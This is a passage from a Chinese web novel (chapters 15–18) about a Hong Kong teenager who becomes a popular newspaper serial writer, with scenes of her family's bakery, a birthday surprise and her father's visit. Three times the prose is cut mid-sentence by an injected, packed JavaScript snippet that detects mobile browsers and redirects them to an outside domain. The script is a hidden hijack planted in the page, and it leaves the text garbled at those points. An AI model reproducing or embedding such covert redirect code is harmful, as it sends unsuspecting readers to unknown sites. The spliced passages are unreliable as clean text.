叶盛鸿反应稍微大一点,因为他已经发现他给不了妹妹零花钱了,从前妹妹就比他有钱多了,他本以为自己以后工作能追上来,没想到居然被甩得更远了,一时间有些失落,不过很快又振奋精神想要找叶念念借钱买新相机。 家里原来有一台港城本土产的相机,七八年前买的,用得不多,挺旧了。叶盛鸿想要买的是一台国外产的名牌相机,价格要三千多。 这钱其实对叶家来说也不算多,只是巧妈和翠妈都管钱比较严,不爱浪费。既然家里已经有相机了,花几千块又去买新的干嘛?她们可弄不清楚这些相机的好坏,只觉得差不多就行了。 叶盛鸿自己也有零花钱,要是他愿意存上个半年,自己也能买。但他怎么存得住?以前没交女朋友就存不住,交了女朋友就更存不住。 叶盛鸿也可以去找堂兄堂弟借相机,保准能借到,甚至还可能是更好的,可他就是想自己有一台。知道妹妹现在赚钱多之后,就蠢蠢欲动的把爪子伸过来了。 叶念念砍的时候也毫不留情。 她前世就是个小市民,可早就听过了“摄影穷三代,单反毁一生”这句话,亲哥想要钱?找亲爹去啊,自己只是个弱小无助的未成年妹妹,还是个死爱钱天天想着买房的妹妹。 叶念念毫不犹豫的用投资理财把叶盛鸿给忽悠瘸了,让他成功明白现在买相机就是个亏本买卖。 可就算是亏本买卖又怎样? 一段时间之后,叶盛鸿买相机的心思又重新起来了。 这回他倒是聪明了点,开始在面包店多做事。 这毕竟是自家的面包店,巧妈和翠妈也不是那种爱压榨自家人的性格,看到他确实努力工作,给工钱的时候就不会吝啬。本来他这样的员工一个月七百块已经很不错的,但两个妈商量一下决定这个暑假要是他认真在面包店里工作,就给他两千块的工资,买相机还差的那些就让他自己存,只要他把这两个月的零花钱也给存下来,金额就差不多了。 现在暑假还没过完,两个妈都不清楚叶盛鸿能不能坚持下去,因为他平日里确实有些风风火火,做事三分钟热情。 叶念念却觉得她哥很有可能成功,因为——她哥现在都不给她买冰激凌了!可见他现在的省钱程度。 不过叶念念最近写文很忙,倒也没时间去在意她哥的恋爱进度,只看她哥这动力,应该情况还不错。 叶盛鸿和齐玉华是处的不错,两人继续在图书馆约会,偶尔有新电影上映,他们也去电影院,没事的话一起压压马路。 两人都瞒着父母。 齐玉华担心家里反对不敢说,叶盛鸿倒是敢说,但瞧着女朋友乖巧的样子也就跟着瞒下来。 还别说,这地下恋爱谈起来真是格外带感,两人的感情逐步深吻,呸,是升温。 齐玉华的家庭情况很好,爷爷有钱,父亲不会做生意,是个文化人,在大学做教授,她母亲也是富商家庭。如果叶盛鸿是正室的孩子倒也算门当户对,但叶盛鸿的妈只是个小老婆,这就不太好听了。而且齐玉华很了解自己母亲,对自己很好,但的确有点嫌贫爱富。 齐玉华心里隐约知道,要是叶盛鸿本人没什么出息,她爸妈肯定不会同意他们继续在一起,所以她只能瞒着。 叶盛鸿纯粹心大,只想着谈恋爱,根本没想过以后结婚的事情。对一个二十岁左右的大学生而言,谈恋爱就是谈恋爱啊! 虽然根本没见过面,但因某种天真的妄想,齐玉华对叶盛鸿的家人比较关注。 叶盛鸿的姐姐听说是个医学生,很忙,这几年打算出国留学,很厉害了。 叶盛鸿的妈妈她只能通过叶盛鸿偷偷带来的小蛋糕和各种外面买不到的试做点心来猜测,虽然是给人当小老婆的,但是个勤快努力的人。 叶盛鸿的爸爸她从没从叶盛鸿口中听到过,猜想应该不是个合格的父亲。 还有一个是叶盛鸿的妹妹。 这个妹妹和叶盛鸿同胞,关系最好,平日里叶盛鸿提她也是最多,虽然齐玉华还没见过这个妹妹,但妹妹在报纸上连载小说,她可以先读小说啊。 她家原本是不订夜星晚报,上个月爷爷看过她拿的报纸就决定订了,说是要支持一下她的朋友。 订一份报纸花不了多少钱,可爷爷虽然对她好,却不至于支持一个连见都没见过的孙女朋友,应该是喜欢上了叶妹妹写的小说。 齐玉华也看了夜星晚报,叶妹妹写得的确很好,和时下流行的武侠小说很是不同,特别爽快,主角行事谨慎果决,偶有奇遇也能马上抓住机会,剧情也是环环相扣流畅自然。 齐玉华看过的中文小说不多,还大部分是名著,看了叶念念的连载,她只觉得叶妹妹写的很好,不比别人差。 今天夜星晚报又被送来了,爷爷不在,她就先拿起报纸看。 她首先翻的肯定是《寻仙路》,今天也是刊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15848055|175750||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 登了三千字,比版面上连载的都要多些,当看完之后齐玉华还是觉得不够看。 宋星辰已经筑基,虽然距离结丹还有几十年的时间,但也要开始准备结丹药,对抗小天劫。“一粒金丹吞入腹,始知我命不由天。”,修行者结丹之后就能有五百年元寿。 齐玉华想着的是,到了金丹期宋星辰先前得到的那个飞梭法器应该能用了吧,宋星辰刚入仙门的时候不是想过以后到了金丹就回家看看吗?也不知道他的妹妹还有母亲怎么样了,二十年过去,恐怕早就物是人非了吧。 意犹未尽之下,她又翻了翻夜星晚报的其他内容。 小说版面的那些其他小说,她以前也翻过,都是些老套内容,她总读不下去,不过夜星晚报以八卦起家,八卦内容还是不错的,影星恋情豪门恩怨都很精彩。 齐玉华也爱八卦,所以她也看其他内容。 但今天没什么劲爆八卦,她只看到多了一篇新小说——《穷鬼天师》。 因为标题很大,题目也不讨厌,她就接下去看,看到作者名字的时候就有点惊讶了。 也是苏幕遮,是叶妹妹呢! 居然连载了两篇吗? 应该是《寻仙路》很受欢迎的缘故吧! 她马上打起精神来看这篇新出的《穷鬼天师》。 《穷鬼天师》的风格和《寻仙路》很是不同,《寻仙路》虽然节奏明快剧情舒爽,但走的事正剧的路子。《穷鬼天师》却有点搞怪,十六岁刚上高中的少年男主角,人前被人欺负,人后接着鬼魂道术欺负别人,像是那句中国古话扮猪吃老虎。 《穷鬼天师》新发文字数比较多,内容也很有趣,齐玉华看着看着就笑起来了。 不过,虽然这篇很有趣,但她还是更喜欢《寻仙路》。 到了傍晚,爷爷回来了,齐玉华见爷爷也把《穷鬼天师》看了一遍,脸上有点笑容,但不多,看过之后又翻回去看《寻仙路》了。 她和爷爷果然是口味一致的,想到这,她的眼里就多了一丝笑意。 齐玉华和齐爷爷不是夜星晚报的常规读者。 叶念念的《穷鬼天师》头一次刊载的阵仗比《寻仙路》大些,但也就是报纸上占的位置多,其实也没怎么宣传,但在普通读者里的反响就要大很多了。 秘传道术,鬼魂祖先,主角不过是个高中生就能凭借道术捉弄班里的富二代同学,可谓爽感十足。主角身边的校花还是天降青梅,第一眼就认出了主角,偏偏主角不记得。 主角只记得自己早上丢掉的早餐钱,想着什么时候才能买好点的朱砂和黄纸。有点不解风情,但更有笑点了。 港城普通小市民买上一份夜星晚报,看到吴钱这么一个主角都觉得他亲近,那副吝啬样子,那种想法设法省钱的无奈几乎他们身边都有。 这样极其市井化的高中生主角在现在的港城小说中很不常见,叶念念一写出来,就赢得了普通读者的心。 16.第 16 章 八月的第八天正好是七夕节,港城现在的七夕还是偏向乞巧的“七姐诞”而非后世的情人节。 巧妈全名黄盼巧,之所以叫这个名字,就是因为出生在乞巧节,这一天也是她的生日。 现在许多港城出生的人过的是阳历生日,但巧妈翠妈这一辈还是更习惯农历。 乞巧加上盼巧,所以在这个小家里,这一天也是一年之中最重要的几个日子之一。 面包店的生意忙,所以准备乞巧的大部分事情都被托给了芳姐。 芳姐名字叫王芳芳,十来岁就在沪上叶家主宅做佣人,后来被派到巧妈翠妈身边,一干就二十多年。跟着巧妈翠妈从内地到港城,从十三四岁的豆蔻年华到现在年近四十,她已经把大半辈子都放在家里几个人身上了,怡人姐和叶盛鸿刚出生的时候也都是她一起照顾的。在叶家,她也是家中的一份子,是真正的家人。 芳姐相貌中等,个头也不高,识字不多,算数只会加减,但她有一点很是厉害,就是从来都没想过去结婚,哪怕旁人说得再好,她都不去结婚。 用她的话说,她在叶家伺候人可是包吃包住有钱拿,得了病三太太四太太都给出钱,小姐少爷也都和和气气的。她吃得多,也喜欢吃,但没人说过她,在这家她更是从没吵过架,她嫁去哪个家里能有这么好? 她对现在的生活很知足,一点都不想变。 七夕前几天,芳姐就去纸扎店买了“七姐衣”,香烛是去仙姐庙买的,临近七夕,仙姐庙都是人,她好不容易才抢到。乞巧用的荷包也是她提前做好的,最后留了几针给叶怡人和叶念念,让她们收口做个样子。 说是拜织女,但这一家子也就芳姐的女红还过得去。 巧妈学的糕点,翠妈什么都不太精通。小的两个也是这样,怡人姐写字潦草,画画也不怎么样,医学笔记弄得跟天书一样,不想学临床的一大原因就是缝线一直不够漂亮。叶念念看上去倒是乖巧听话,但问她会什么?家事厨艺那是一点都不会,真就像一个十指不沾阳春水的大小姐了。 好在巧妈和翠妈也都不在意这些。 两个女儿都会读书也都是学习的年龄,怎么能把时间花在家务上呢?不会就不会,自己以后能赚钱请人做就行。 家里倒是叶盛鸿手比较巧,他会修些东西,会捣鼓点机器。 他在家里作为顶梁柱的一大作用就是修电器当半个电工使,有些重物要搬也要他使力气。 这七夕乞巧,也就只是风俗,两个妈都没指望着女儿真的能手巧。嗯,要是巧妈知道叶怡人在头痛手术实操说不定还能真情实意一点。 因着家里开了蛋糕店,这个七夕生日,叶念念准备了点特别的东西。就是她一直想要的店里卖的生日蛋糕。 生日蛋糕上没有蜡烛缺少氛围,她就和叶盛鸿一起融大蜡烛来做小蜡烛,这个还挺简单的。还有准备气球彩带,港城商贸发达,这个东西很好买。 毕竟是给巧妈过生日,蛋糕不能让巧妈来做。 叶念念就和店里的另一位蛋糕师傅孙姨定了蛋糕坯,奶油也是从店里拿的。 实际做蛋糕的时候,叶念念没想到用奶油把蛋糕坯抹均匀也是个技术活,她虽然工具齐全,但她抹来抹去蛋糕上的奶油还是不听话,最后还是芳姐出手帮忙。 叶念念准备做的是水果蛋糕。 切水果倒是不难,叶念念特地去选的高档水果,价格贵,形状好,颜色漂亮。怡人姐缝线不行,刀工倒是还好,切得也很漂亮。切完之后,她们一起把水果片贴到蛋糕上,一圈黄桃一圈葡萄还有整颗的草莓。 一起做出来的蛋糕在这样的装饰下,总算有模有样了。 原本叶念念还准备用巧克力在蛋糕上写上祝福的话,后面果断意识到自己做不来,就改成插小纸片了。 翠妈一张、三个孩子一张还有芳姐一张。 翠妈和芳姐都不太会写字,叶盛鸿的字不错,她们的纸条是他帮着写的,都是些简单的祝福话。 这一天面包店的生意还是很忙,巧妈都有些不想太早回来,不过她知道今天是自己生日几个孩子还准备了特殊礼物,再多的钱也比不过自己的孩子们啊,所以今天她还是提前回来了,留几个员工在店里撑场面。 巧妈打开门已经闻到一股霸道的牛肉味。 她爱吃牛肉,小时候家里的牛摔伤治不好,家里就把牛给杀了,肉皮几乎卖了出去,骨头就留下来熬汤,大骨头加上丁点牛肉熬出来的汤又浓又香,对那时候的她来说是难得的美味。后来很多年,她都没有喝过牛骨汤,一直到进了叶家。叶家富裕,但牛肉也不是她随便能吃的,不过还好,偶尔她还是能吃上。 到了港城,虽然她有钱了,但牛肉的价格高,她还是有些舍不得,每个月只准芳姐买一两次牛肉。 芳姐知道她喜欢这一口,还特意找叶家主家的大厨问过烹调牛肉的方法,现在是越做越好。 巧妈还带着疲惫的脸上涌出笑容。 五太太单水儿死乞白赖也要待在四房,跟在叶兴德身边,她却找机会和明翠一起带着孩子搬出来了。 她知道有不少人说她傻。 港城的生活可不容易,哪怕房租不用自己给,叶兴德那边每个月也给钱,但搬出来之后花销肯定大。住在四房那边开销可都是公中,吃饭用电可都不用花钱,买衣服也能挂账。而且在叶兴德面前露脸多,更容易从他手里掏钱,以后孩子跟他亲近也更容易分遗产。 而她——甚至光是搬出去住还不够,都自己开起了店,做起了生意。 一家小小的面包店,她不是坐在门口收钱的老板娘,而是烤箱前揉面的师傅。 有哪个姨太太会去干这种费力气的活? 面包店生意还不错,但这么辛苦值得买?她几十年干下来赚的钱还买不起叶兴德死后分出去的一栋楼。 可她不想,讨饭的日子过多了,人就会忘记怎么昂首挺胸的站直。 她和明翠的三个孩子放在旬太太面前是一定要受委屈的,不是说旬太太不好,她是个场面人,平日里对所有孩子都和气。只是她有自己的孩子,肯定偏向自己生的,家里的佣人也都是会看眼色,肯定会有所差别。 而分出来过,自己当家做主哪怕日子辛苦一点,但更像一个家的样子。 就像现在—— 要是在那边,怎么可能这样给她过生日? 黄盼巧脱下平底鞋换上室内拖鞋,她正想着是不是开门的声音太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15854186|175750||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小里面没人听到,怎么没人来。灯就忽然灭了。 她习惯性的想从鞋柜上面的盒子里拿出蜡烛,却发现里面的蜡烛没了。 芳芳忘记买了?那等会要提醒她,等下马上就得去买,不然怎么吃饭。乞巧用的香烛应该有,就是味道有点大。 这个时代的港城,电力偶尔会有不稳,所以停电并不稀奇。 生日这天停电可能有些扫兴,但黄盼巧并不在意。 就在她摸索着想要看看哪里还有蜡烛的时候,蜡烛来了—— “祝你生日快乐,祝你生日快乐……” 叶怡人端着蛋糕站在最中间,两个孩子和明翠芳芳都站在旁边。 蛋糕上点着小蜡烛,小小的火苗点亮了周围。 黄盼巧一下就懂了,原来不是停电,这是“惊喜”。 她没想过黑暗下蛋糕上的烛火会有这样温馨的感觉,很温暖。 蛋糕被簇拥着送到她的面前,念念在旁边喊着“吹蜡烛许愿。” 黄盼巧只觉得一股股的暖流流入她的心田。 这是她的家,这是她的家人。 她们都爱着她。 虽然她这些年已经早就知道了这个事实,但这样的形式还是更让人感动。 她顺从的吹灭蜡烛。 周围一片黑暗,但很温暖。 她在心里许愿,希望孩子们都有出息,家里越过越好。 等她许愿结束,灯又重新打开,黄盼巧看到了贴在墙上的气球和彩带,生日蛋糕被重新放回了饭桌的正中间。 大家还给她准备了礼物。 怡人是一把名牌遮阳伞。 盛鸿送的是相册。 念念送了一枚漂亮的胸针 明翠送了化妆品。 芳芳送的是她自己做的钱包。 黄盼巧都很喜欢。 念念把蛋糕上面的蜡烛给拿走,滴下的蜡也被清理干净,然后又把刀送到她手上,嚷嚷着切蛋糕。 这个时候黄盼巧终于想起了自己的生意经。 生日蛋糕应该是念念的主意,只有她经常去面包店能想到干这种事。港城这边现在很少人弄这种生日蛋糕,但欧美好像不少,一些国外的电视电影上就有类似的情节。 她隐约记得有几个富商给孩子们搞生日会就会用上好几层的大蛋糕,不过因为聚会上人多,为了防止意外,大都会省略掉关灯这一步。 如果自己的面包店也要做生日蛋糕,应该要配蜡烛,最好还会送气球。 只是会有很多人定吗? 生日蛋糕的定价肯定不能低,还需要提前几天定做…… 黄盼巧还想继续思考下去,但是她的手已经开始切起了蛋糕。 旁边芳芳在说这个蛋糕是几个孩子亲手做的,念念抹奶油,怡人切的水果,盛鸿也帮了忙。 蛋糕很好吃,就是吃完蛋糕已经没什么肚子吃饭了,她们只能多吃点菜。 虽然家里有冰箱,但冰箱里肯定放不下这么一大桌子菜,都是好菜可别浪费了。 吃完饭,还有乞巧,摆上瓜果香烛,焚香祭祀,然后一起赏月聊天。月亮不圆,但一起聊天很高兴。 今天又是美好的一天。 17.第 17 章 美好的日子没过几天,糟心的人就来了。 叶兴德大驾光临。 这真是十分少见。 毕竟叶四少即便现在变成了叶四爷,在家里的女人面前也是有气性的,以前对着曾经的二太太方之华还好些,毕竟是真心喜欢追过来的,对着其他,尤其是被买回来送给他的陈明翠黄盼巧那可真就是个大爷。 自从陈明翠和黄盼巧带着孩子搬到外面,他可也就来过几次,一次是刚搬来乔迁的时候,另几次是两个孩子考上好大学的缘故,其他时候都是陈明翠黄盼巧去那边。 芳姐赶忙接待他,然后叫叶怡人下楼,让叶念念去面包店喊人。 叶兴德制止了芳姐,这次他可不是来找两个小老婆的。他对着叶念念招招手,表情和颜悦色。 叶念念有点受宠若惊了,这次是来找她的? 她在亲爹面前什么时候有这么大面子?她这不是还没考大学吗? 面子自然是有的。 叶兴德这次的确是来找她。 “念念,听说你最近开始在夜星晚报上写小说了,笔名是苏幕遮,写了《寻仙路》和那部《穷鬼天师》是吗?” 叶念念写小说的事情并未刻意隐瞒,只是没有特地去告知叶家其他人而已。毕竟街坊邻里都知道了,港城也不大,消息传得快。一个多月的时间足够让叶兴德那边也知道这件事情了。 甚至在半个月之前叶兴德就知道了。 那时候他只在牌友面前说了几句自家女仔厉害有出息,说不准会成为大作家这样的话,实际上没怎么放在心上。 他不怎么爱看报,小说一般都读已经出版的,麻将馆虽然有定夜星晚报但都是给客人打发时间的,他自己不看。 这件事情他也就当做谈资跟自己那些个狐朋狗友说一说。 他的朋友知道之后,有人真的在看《寻仙路》,还专门来找他聊小说。 叶兴德那时候随意应付着,等人走了,他就把夜星晚报给找出来自己看了。他不是觉得自己女儿的小说会写得多好,只是不想别人和他聊这部小说的时候,别人了如指掌,说得天花乱坠,自己这个亲爹却还不知道女儿写了什么,这也太丢份了。 这一看了不得! 女儿写得小说真真不错,一点也不比他以前看过的那些差。 后面夜星晚报上又多了一篇女儿写的小说《穷鬼天师》,这本比《寻仙路》更对他胃口,好看,特别好看。他那些朋友也更爱谈论这本,每每在他面前谈起,都会说羡慕他有这么一个好女儿。 《穷鬼天师》连载一个多星期,麻将馆里讨论这部小说的人越来越多,因为叶兴德炫耀过,所以这些人都知道小说作者苏幕遮是他的女儿,纷纷找他问后面的剧情。 叶兴德哪知道什么后面的剧情啊! 他连女儿写小说都是别人告诉他的,他好几个月没见过女儿了,他也想知道《穷鬼天师》后面的内容啊! 所以心痒之下,他主动跑来这边寻女儿了。 叶念念听到亲爹说起自己的笔名,干脆的点了点头,她本来就没打算瞒。只不过她没想到《穷鬼天师》的影响力这么大,她爹居然来找她剧透了。 亲爹求剧透,这可以吗? 不可以! 至少得要亲妈才行呢! 她自然是一副乖乖女的样子,为难的说稿子已经被编辑拿去了,她和报社签了合同的,不能泄露未发表稿件的内容,不然要赔钱的。 叶兴德财大气粗自然不在乎什么赔钱。 只是叶念念对讨好亲爹也熟门熟路,她一脸惊喜加受宠若惊,没想到自己的小说居然会被爹哋喜欢,忙不迭的问亲爹喜欢什么内容喜欢什么人物。 叶兴德说喜欢什么人物,她就说她以后会让这个角色多出场,喜欢什么内容,她就说以后多写。 实际上会被喜欢上的人物,本就是她花心思着墨,比较重要,后期也会有戏份。 受欢迎的内容自然是打脸的爽点,这个她写得也多。 果然,叶兴德见女儿这么“乖巧”很是满意,他又从怀里掏出钱包,数了几张大的拿给叶念念,“你写得好,多写点,爹哋奖励你。” 叶念念接过钱,笑容又真诚了几分,“谢谢爹哋,爹哋对我最好了。” 和女儿交流了感情和小说之后,叶兴德忙着打牌回去了,等到陈明翠黄盼巧和叶盛鸿晚上回家,才知道叶兴德来了一趟。 问清楚叶兴德到底来干什么之后,黄盼巧有些难以置信,“他就和你聊了会小说?” 叶念念点头。 叶盛鸿在旁边说道,“这有什么奇怪的,念念小说写得可好了,尤其是现在的这本《穷鬼天师》,我好多朋友都在看呢,他们还想来找念念签名都被我给回绝掉了。” 芳姐也在一旁说道,“是啊,这本小说可火了,我不认识字没看过,但我买菜的时候,可是听到不少人在说呢!” 听到这些事情,叶念念才明白,自己的小说大概是火了。 《穷鬼天师》的稿子交出去之后,她深感存稿减少太快,就在家继续努力写小说,一直都没怎么出门,对这篇小说的反响还不大清楚。 知道火了之后,她的反应是松了口气。 既然火了,那自己那千字一百的稿费应该就不会掉下去了吧! 何止不会啊! 夜星晚报最近统计报纸发行量,《穷鬼天师》连载后一个星期,报纸的销量就增加了百分之十,这其中可能还有另外两篇新小说,以及主编调整版面的原因,但《穷鬼天师》就是报社读者里面讨论度最高的小说,还有着影响外扩的趋势。 唐主编干八卦的,在炒作方面也是一把老手。 苏幕遮的年龄就是个很好的炒作点。 什么穷鬼天师作者大揭秘——十六岁美少女作家写小说月收入过万,诸如此类的新闻他不光是在夜星晚报上发,还去其他报纸买版面发。 别以为其他报社不给发,资本家可以卖掉绞死自己的绳索,更别说哪篇小说出名作者有了名气市民们都想关注,他们本来就会报道。闵诗谈恋爱交了个比她大十岁的男朋友,再比如勾吴被人堵门,这些消息全港的报纸都会去报。 而《寻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15858289|175750||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仙路》很受欢迎,《穷鬼天师》最近又是特别的火,这两部小说都是一个作者,以前还都没接受过采访,她的消息可不就是一则引人注意的新闻吗? 夜星晚报自家给苏幕遮写稿子的时候还算友好,主要写她年龄小,天赋异禀,在学校成绩很好,很喜欢鬼怪传说,还写了唐主编和苏幕遮作文比赛上的初遇,写的是那时候小学的苏幕遮就跟主编约定好,她一定会到夜星晚报上投稿! 写得像是武侠小说里的十年之约一样,相交、知己、承诺、努力、拼搏、奋斗终于如愿。 不看这篇稿子,叶念念都不知道自己和唐主编还有这么深的感情,也不知道自己原来会为了前辈的承诺如此努力奋斗! 她奋斗……不都是为了钱吗? 这种稿子看过也就算了,六分真二分假还有两分模棱两可,叶念念也没当真。 随着《穷鬼天师》连载继续,她也越来越受欢迎了。 其他报纸除了刊登夜星晚报给的通稿,还真的开始调查她的过往经历。 所以——苏幕遮是港城叶家的千金,知名富商叶兴业就是苏幕遮的大伯,母亲是叶家四房四老爷的小老婆,在拔萃读书,是年纪第一…… 这些乱七八糟的消息全部被那些不入流的报纸给写上去了。 幸好苏幕遮的名气还不够大,只能说是一位新星作家,登那些消息的版面都是犄角旯旮里的,用不上头版,很容易被人忽视。 港城现在已经很有笑贫不笑娼的趋势了,她亲妈是个妾也没什么大不了的,毕竟有钱人家都这样,看到新闻的市民们说两句也就算了,最多加一句可惜,居然是个小老婆生的。 但这又有什么可惜的呢? 叶念念选不了自己的出身,陈明翠更也选不了。叶念念很庆幸有这么一位母亲,陈明翠也觉得能有念念这么一个乖女儿很幸运。 这种八卦在报纸上写多了,叶念念和她两本小说的名气的确变大,毕竟她大伯叶兴业可比她一个刚出名的小作家有名气多了。 叶兴业搞金饰,港城婚嫁也流行黄金,叶氏的百年好合金铺在港城很有些名气,报纸上时不时就会弄些富商排名之类的栏目,叶兴业也会吊车尾一下。 看报纸的知道买过金铺的老板居然有个天才作家侄女,这反倒是让叶念念又涨了一波名气。 叶盛远在和叶盛鸿见面的时候都问起了叶念念,还让叶盛鸿下次带着叶念念一起过来玩。 叶盛鸿在这方面可不糊涂。 他和叶盛远关系好,有时会一起玩,但那可不代表他和叶盛远的其他朋友也玩得好。 叶盛远有几个富二代富三代朋友是标准的纨绔子弟,叶盛鸿怎么都不会把妹妹带过来参加有那几个人在的宴会。 他也不会明着严肃拒绝,随口应付着,然后又说妹妹忙着写小说,马上还要开学,考大学也是这两年的事情,恐怕拿不出什么时间来。 叶盛远也是讲脸面的人,叶念念怎么说也是他的亲堂妹,四叔叶兴德在老太太那边又是最能说上话的。既然这边自己不愿意来,他也不强逼,就这样揭过了。 18.第 18 章 待在书房的两个月暑假终于过去了。 叶念念还没来得及喘口气就开学。 这个暑假对她来说太充实了,她以前虽然坚持每天写小说,但也会空出时间玩,和哥哥姐姐一起玩,陪两个妈逛街,或者和几个同学一起出去。只有今年这个暑假,她是真的没怎么出门玩。 其实她原本也不想这么努力,可谁让稿费就在那里等着她呢! 赚钱的感觉多好啊,她根本停不下来。 不过等到开学,她怎么都得停一停了,倒不是一点不写,只是跟以前一样,每天花两个小时写上个一千字到两千字。 钱固然重要,学业也很重要,这辈子她的记忆力很好,又有上辈子的经历,从小学开始就是门门功课第一。不得不说当惯了第一,哪怕她在心里一直对自己说她不是个天才,但要让她轻易就把第一这个位置让出去,她也是不答应的,肯定要好好学习。 而且在港城,大学也是一个门槛,考上大学之后,她能认识更多的人,学到更多的东西,有更广阔的未来。 虽然她现在写小说很顺利也很成功,但她并没有以后当专职作家的打算,她还想干点别的赚钱。 所以她绝对不会放弃学业。 拔萃是港城的名校,取自“出于其类,拔乎其萃”之意,分男院女院,男院女院位置不在一起。叶念念上的是女院,同学也都是女生。 拔萃女院有不少富家千金,叶念念的家世在里面算是很不起眼的一种,不过家世不起眼没关系,成绩起眼就行,那些同学不知道她和叶家是什么关系,不知道她家里有没有钱,只知道她成绩好,总是拿第一。 现在她们知道的又多了一点,她们知道叶念念写小说了。 开学第一天,叶念念的国文科老师黄小姐就打趣了几句,说没想到自己居然也教出了一个大作家。 原本班上还有部分同学不知道,现在全部都知道了。 还有真的看了夜星晚报上两篇小说的一位学妹跑来找叶念念要签名。 叶念念有点受宠若惊了,这的确是她上辈子没有过的待遇。 这位学妹是把夜星晚报上小说内容给剪下来贴在本子上,拿着本子让叶念念签字。 报纸剪得认真,线条很直,贴的也很小心,平平整整的,一看就费了功夫。 叶念念的字一般,虽然字写得多,但她不练,只求快,所以难有什么进步。 她原本也不在意自己这手字,可签字的时候就有点不太好意思了,连忙又写了一句希望学业有成万事平安的祝福语,就这么应付过去了。 这个小书迷一点也没嫌弃叶念念的字,拿到签名之后脸上都是欣喜,就像是见偶像的追星人一样,还对叶念念说,“学姐,我会努力的,你写的小说太好看了,你以后一定会很有名的,比闵诗还有名!” 这可不兴说啊,禁止拉踩! 叶念念连忙说道,“闵小姐是我的前辈,是我努力的方向,非常感谢你的喜欢。” 大约因为都是年少成名,又都是女性,虽然写的东西天差地别,一个感情类一个仙侠,但那些报纸就喜欢把叶念念和闵诗做比,都说是什么美少女作家,也不知道写出来这外号的供稿人是不是留学过霓虹国,一口一个美少女。 叶念念对闵诗没有任何意见,也不想得罪人。 和气生财嘛,她只想安安稳稳的写书。 书迷学妹也不是故意的,叶念念长相秀美,笑起来也温柔,对她的态度很好,她整个有些晕乎乎的,抱着签名本再三谢过才回自己的班级。 叶念念的同桌何芸就跟在身边看热闹,等人走了,她便用手肘捅了捅叶念念,揶揄道,“哇,大作家真受欢迎。” 在熟人面前,叶念念很不优雅的翻了个白眼,“你可别来这一套。” 叶念念的好朋友不多,小学的时候她心理年龄比较大和同学玩不到一块,到了高中才算有几个聊得来的好友。 何芸是她同桌,性格比较开朗,因为离得近,两个人自然而然的成了朋友。 这个暑假何芸跟着家人去台湾的小姨那边待了两个月,开学之后才知道叶念念在报社连载小说,似乎还很受欢迎的样子 她可没想过自己的朋友会有这种发展,很是新奇,就逮着叶念念东问西问。 班上其他人也很好奇,下课休息时间不约而同的围在叶念念桌子前,何芸问叶念念的时候,她们也东一句西一句的插嘴想要知道其他事情。 叶念念有些疲于应对,一直扯到上课铃响才算松了一口气。 这还不算完,一个星期之后,这种情况才有所缓解,不过叶念念这算是彻底出名了,以前还有些成绩差的不关心学校第一名是谁,现在说是写小说的第一名,都知道叫做叶念念,看了小说的还知道她的笔名是苏幕遮。时不时有人来找她签名,还有人问她什么时候能出书。 《寻仙路》和《穷鬼天师》这两篇小说的成绩都比较好,都有出书的机会,已经有几家出版社联系叶念念准备给她出版了,只是版税给的不高,叶念念觉得想着的内容还不多,不用太着急,所以有意拖一拖。她打算等到《寻仙路》再连载三五个月,剧情进入高潮阶段,到时候再准备出版的事情,甚至等完结之后再出版都可以。 叶念念这边开学了,叶怡人和叶盛鸿那边也开学了,港城的大学和内地的不太一样,因为地皮紧张,大学并没有多少宿舍,也就第一年能稳定申请到宿舍位。 叶盛鸿不太喜欢住校,连第一年都没在学校里住。 叶怡人则是觉得住宿舍能省掉去学校的时间,第三年也坚持申请宿舍。好在医学院在学校的地位比较高,她成绩又好,这第三年也申请上了。 进入九月十月份,家里忙碌起来,主要原因是中秋节。 面包店那边做了少量月饼售卖,因为造型别致,口味也比较新颖,卖得还不错,巧妈准备推出生日蛋糕,但这个天气动物奶油太容易化,她就准备等到淡季在面包店装空调再加上一组冰柜。 还有就是中秋节是三节之一,都说中秋团结,她们过中秋得要去叶家主宅过。 叶老太太今年七十六了,去年摔了一跤,身子就有些不太好了。 别看叶念念的亲爹叶兴德天天打牌万事不管,他每个星期可都固定着时间到老太太面前侍汤奉药,别管他脑袋里到底怎么想,至少看上去他很有大孝子的样子,也难怪叶老太太最疼他了。 因为叶老太太是个念旧的人,喜欢儿孙满堂承欢膝下的感觉,一年三节的时候叶家当家主事的叶兴业就会把叶家在港城的主要人员大约都叫来聚在主宅过节。 叶家枝繁叶茂,留在港城的约莫有八九十人,主宅往往得摆下□□桌才够坐,厨子也得花钱从外面请,甚至还得请临时的帮佣才够。 